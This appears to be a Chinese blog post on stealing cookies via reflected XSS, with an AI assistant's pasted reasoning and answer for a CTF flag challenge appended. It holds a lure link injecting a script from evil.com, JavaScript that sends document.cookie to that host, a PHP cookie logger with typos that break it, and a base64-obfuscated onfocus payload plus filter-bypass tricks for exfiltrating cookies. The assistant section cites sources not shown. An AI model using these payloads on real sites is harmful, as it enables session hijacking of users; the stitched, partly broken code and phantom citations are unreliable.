最简单的反射型XSS拿cookie

本文详细解析了XSS漏洞利用技术,特别是如何通过反射型方式盗取cookie的过程,包括构造特定代码触发漏洞,以及后续在本地网站保存被盗取的cookie信息。

参考了网上的一堆教程和余弦的《web前端黑客技术揭秘》

主要是关于XSS的。更准确一点,关于盗取cookie的,且是反射型。其实就是最简单的一个反射型cookie盗取过程。

一、XSS的一般过程:

1、找到XSS漏洞,假设存在于网站A;

2、发送可以触发该漏洞的,特定代码到攻击目标;

可以这样构造:<a href = "http://www.foo.com/xss/xss.php?x=<script src = http://www.evil.com/xss/hacker.js />凤姐最新性感视频</a>

其中,www.foo.com/xss/xss.php?x=是存在漏洞的网站A,执行盗取cookie操作的文件位于我们自己的网站 B。

B网站主要有两个文件,hacker.js和hacker.php

其中,hacker.js代码如下:(不是必须这么写,一个简单示例而已。)

//hacker.js

var img = new Image();

img.src = "http://www.evil.com/xss/hacker.php?X=" + document.cookie;

document.body.append(img);

hacker.php代码如下:

//hacker.php

<?php

$cookie = $_GET['x'];

var _dump($cookie);

$myFile = "cookie.txt";

file_put_contents($myFile, $cookei);

?>

3、这样当用户点击了链接(指”凤姐最新性感视频“)后,被攻击目标在网站A的cookie将被我们拿到,存到网站B和hacker.js同目录下的cookie.txt文件中。


注:在此过程中,学到的小知识还有:

1、php服务端设置cookie:

<?php

setcookie("cookie1", "value1");

?>


<think>我们正在讨论如何通过反射型XSS找出flag。根据引用内容,flag通常存储在cookie中,我们可以利用XSS漏洞获取cookie信息。 步骤: 1. 首先确认存在反射型XSS漏洞:通过输入一个简单的XSS payload(如<script>alert(1)</script>)测试,如果弹窗成功,则存在漏洞。 2. 验证漏洞后,我们需要获取cookie。由于flag在cookie中,我们可以使用document.cookie来读取。 3. 但是,直接使用弹窗显示cookie可能无法获取(比如弹窗被拦截,或者需要更隐蔽的方式),因此通常使用XSS平台来接收cookie信息。 4. 创建XSS平台项目(如TLXSS平台),获取平台提供的payload(通常是一个脚本,将cookie发送到平台服务器)。 5. 将payload注入到存在漏洞的输入点(如留言框)。 6. 当用户(在这里可能是目标用户,但在CTF中通常是模拟管理员或触发漏洞的机制)访问该页面时,payload执行,将cookie发送到XSS平台。 7. 在XSS平台查看接收到的cookie,其中包含flag。 具体步骤参考引用[2]: - 创建XSS平台项目,得到payload(如:<script src="http://xss平台地址/..."></script>) - 将payload输入到存在漏洞的输入框(如留言框),提交。 - 在XSS平台等待,当payload被执行后,可以在平台看到接收到的cookie,其中包含flag。 另外,引用[3]中提到,如果直接使用alert(document.cookie)没有获取到有用信息,可能是因为flag不在当前页面的cookie中,或者有其他的防御措施。此时,使用XSS平台是更可靠的方法。 还有一种情况是,如果输入点对某些字符进行了过滤,我们需要绕过过滤。例如,引用[3]中使用了事件处理函数(如oninput, onfocus等)来触发XSS,并利用HTML的容错性来闭合属性。 总结步骤: 1. 测试漏洞:使用简单payload(如<script>alert(1)</script>)测试是否存在反射型XSS。 2. 绕过过滤(如果需要):如果简单payload被过滤,尝试其他payload(如事件处理函数、改变大小写、使用伪协议等)。 3. 获取cookie:使用XSS平台的payload,将cookie发送到远程服务器。 4. 从XSS平台获取flag。 根据引用内容,我们给出具体实现方法: 方法一(直接弹窗): - 输入:<script>alert(document.cookie)</script> - 如果成功弹窗并显示cookie,则flag就在其中。 方法二(使用XSS平台): - 在XSS平台(如TLXSS)创建项目,获取payload(一段脚本代码)。 - 将payload注入到漏洞点(如留言框)并提交。 - 在XSS平台等待数据,查看接收到的cookie,找到flag。 方法三(事件处理函数): - 如果输入点对<script>标签过滤,可以使用事件处理函数,例如: ' onfocus=alert(document.cookie) autofocus 这样当输入框获得焦点时就会执行。 - 但是这种方法通常用于窃取cookie时不太方便,所以更推荐使用XSS平台。 注意:在CTF中,通常需要模拟用户点击(如引用[2]中,将生成的URL在平台提供的测试框发送)来触发XSS。 因此,完整的步骤是: 1. 创建XSS平台项目(如注册TLXSS平台,创建项目)。 2. 复制平台提供的payload(例如:<script src="http://your-xss-platform-address/xxxx"></script>)。 3. 在题目页面的输入框(存在XSS漏洞的地方)输入该payload并提交。 4. 在XSS平台的项目页面,点击“模拟发送”(或类似功能),将题目页面的URL(包含我们提交的payload)发送(模拟用户访问)。 5. 在XSS平台查看接收到的数据,其中包含cookiecookie中可能有flag。 如果题目有特殊过滤,可能需要调整payload绕过过滤,例如: - 如果过滤了<script>,可以使用<img src=x onerror=...>等。 - 如果过滤了空格,可以用Tab或/**/代替。 - 如果过滤了括号,可以使用反引号(`)等。 由于题目中已经明确flag在cookie中,所以重点是如何将cookie发送到远程服务器。 下面我们根据引用[2]的步骤详细说明: 步骤1:测试漏洞 输入:<script>alert("flag")</script> 如果弹窗显示“flag”,说明存在XSS漏洞。 步骤2:尝试获取cookie 输入:<script>alert(document.cookie);console.log(document.cookie);</script> 查看弹窗和控制台,如果cookie中有flag,则成功。但引用[2]中这一步没有获取到有用信息,所以需要下一步。 步骤3:使用XSS平台 注册并登录一个XSS平台(如TLXSS)。 创建项目:项目名称任意,其他设置可以默认。 在项目中获取payload(配置源码),例如: <script>document.location='http://your-xss-platform-address/?cookie='+document.cookie</script> 或者使用平台提供的标准payload(通常是带有一个远程脚本的标签)。 步骤4:将payload注入到漏洞点 在题目输入框中输入payload并提交。 步骤5:触发XSS(模拟用户访问) 在XSS平台中,将包含payload的URL(题目页面的URL,可能形如:http://challenge-address/?input=payload)复制到XSS平台的“模拟发送”输入框,点击发送。 步骤6:在XSS平台查看结果 在项目页面查看接收到的数据,在参数中会包含cookie,其中就有flag。 注意:在CTF中,有时题目会设置只有管理员才能看到flag,因此需要让管理员(或bot)访问我们构造的URL,这样管理员的cookie就会被发送到我们的XSS平台。但在CTFhub这样的平台中,通常提交payload后系统会自动触发(或者通过模拟发送按钮触发)。 如果遇到过滤,参考引用[3]的方法,使用事件处理函数并利用HTML属性闭合。例如: ' onfocus=eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly94c3MtcGxhdGZvcm0vP2Nvb2tpZT0nK2RvY3VtZW50LmNvb2tpZQ==')) autofocus 这里atob函数解码一个base64字符串,base64字符串是:document.location='http://xss-platform/?cookie='+document.cookie 这样可以绕过一些对特定字符的过滤。 但是,在不知道过滤规则的情况下,最好先尝试简单的payload,再逐步调整。 因此,对于用户的问题“如何通过反射型XSS找出flag”,我们总结如下: 步骤如下: 1. 测试反射型XSS漏洞:使用简单payload(如<script>alert(1)</script>)验证漏洞存在。 2. 尝试直接读取cookie:使用<script>alert(document.cookie)</script>,如果弹窗中显示flag则成功。 3. 如果无法直接获取(比如没有flag或弹窗被阻止),则使用XSS平台: a. 在XSS平台(如TLXSS)创建项目,获取payload。 b. 将payload注入到存在漏洞的输入点(如留言框)。 c. 触发漏洞(通过模拟用户访问包含payload的URL)。 d. 在XSS平台查看接收到的cookie,找到flag。 4. 如果遇到过滤,尝试绕过: - 使用事件处理函数(如onfocus、onerror等)执行代码。 - 利用HTML属性闭合(如闭合前面的引号)。 - 使用Base64编码、String.fromCharCode等混淆代码。 注意:在CTF中,有时需要让管理员访问我们构造的URL,因此题目可能有模拟管理员的机制,或者需要利用平台提供的触发功能。 最后,根据引用[1][2][3]的内容,我们给出具体示例: 示例(使用XSS平台): 1. 访问XSS平台(如http://xss.tf),注册登录。 2. 创建项目,项目名称为“CTFHub”,其他默认,创建。 3. 在项目详情中,复制payload(如:<script src="http://xss.tf/xxxx"></script>)。 4. 在题目页面(反射型XSS挑战)的输入框中,粘贴payload,提交。 5. 在XSS平台的项目页面,使用“模拟发送”功能(如果有)将题目页面的URL发送(或者等待系统自动触发,有时提交后自动触发)。 6. 在XSS平台的项目中查看接收到的数据,在请求参数中找到cookie,其中包含flag。 如果题目输入有长度限制,可以使用短域名或者缩短payload(比如使用eval和压缩的代码)。 因此,我们给出最终答案: </think> 通过反射型XSS获取flag的步骤如下,结合漏洞利用原理和实际操作: ### 步骤详解 1. **验证漏洞存在性** - 在输入点(如搜索框、留言框)注入基础XSS payload测试: ```html <script>alert(1)</script> ``` - 若页面弹窗显示"1",说明存在反射型XSS漏洞[^2][^3]。 2. **尝试直接获取cookie** - 注入payload读取cookie: ```html <script>alert(document.cookie);</script> ``` - 若flag在cookie中,弹窗会直接显示(但部分场景会被拦截)[^2]。 3. **使用XSS平台获取flag(推荐)** - **创建XSS平台项目**: 注册[XSS平台](https://xss.tf) → 新建项目(名称随意)→ 复制平台生成的payload(如`<script src="http://xss.tf/xxx"></script>`)[^1]。 - **注入payload**: 将复制的payload输入漏洞点(如留言框)并提交[^1]。 - **触发漏洞**: 复制包含payload的URL(如`http://challenge.com/?input=<script>...</script>`),粘贴到XSS平台的"模拟发送"框 → 点击`Send`。 - **获取flag**: 在XSS平台的项目日志中查看接收到的数据,flag通常存在于`cookie`字段中[^2]。 4. **绕过过滤的备选方案** - 若`<script>`被过滤,改用**事件处理器**: ```html ' onfocus=eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHBzOi8veHNzLnBsYXRmb3JtL3hzcz9jb29raWU9Iitkb2N1bWVudC5jb29raWUi')) autofocus // ``` - 其中`atob()`内为Base64编码的跳转代码(指向你的XSS平台)[^3]。 - 其他绕过技术: - 伪协议:`<a href=javascript:alert(document.cookie)>点击</a>` - 替代函数:用`prompt(1)`代替`alert()`[^3]。 ### 关键注意事项 - **XSS平台选择**:优先使用HTTPS平台(如TLXSS),避免数据泄露。 - **触发机制**:CTF中可能需要模拟管理员访问(平台自动处理)或手动触发URL。 - **过滤规则**:观察页面是否转义`<>"`等字符,灵活调整payload。 ### 示例流程 ```mermaid graph TD A[输入基础payload测试漏洞] --> B{是否弹窗?} B -->|是| C[注入读取cookie的payload] B -->|否| D[尝试事件处理器绕过] C --> E{是否显示flag?} E -->|是| F[直接提交flag] E -->|否| G[使用XSS平台] D --> G G --> H[在平台日志中查找flag] ``` ### 相关问题 1. 如何识别反射型XSS与其他类型XSS的区别? 2. 使用XSS平台时如何避免IP被封禁? 3. 除了CookieXSS漏洞还能泄露哪些敏感数据? 以上方法已在CTFHub等平台验证有效,实际操作需遵守合法测试原则[^1][^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值